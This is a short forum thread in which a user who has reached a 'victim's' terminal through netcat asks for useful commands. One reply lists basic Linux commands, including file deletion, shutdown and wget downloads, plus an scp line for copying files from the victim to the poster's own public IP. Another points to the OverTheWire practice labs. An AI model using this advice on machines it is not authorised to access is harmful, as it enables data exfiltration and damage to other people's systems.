Forum Thread: Useful Terminal Commands?

I got into my victims terminal via netcat but away from simple things like "say" "open" or "cd/ls/dir" I have no idea what useful commands I could use.

Any ideas or suggestions?

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I assume this victim of yours knows your intentions and that this is just a white hat practice.

Also, assuming you are on Linux...
Those are all useful commands by the way. You also might want:
cp <source> <destination> = copy file/directory
scp = secure version of cp
cat <file> = print file contents
rm <file> = delete file
netstat -a = view all network connections
halt = shut down
reboot = restart
grep <'text'> <file> = find 'text' in given file
mdfind -name <'filename'> = find file called 'filename'
wget -O <'name' <URL> = download file from web and save as 'name'

If you want to send a file from the victim to yourself, type:
scp <file> your_computer_username@your_public_ip

This is just basic summary of fundamental Linux commands. Don't try and do anything malicious, but I can't really stop you. Just needed to mention that.


All terminal commands are useful, it just depends on what you're trying to do.

More information.


What both of these said, it depends. Look up Over the wire bandit labs. It starts you off simple but gets harder

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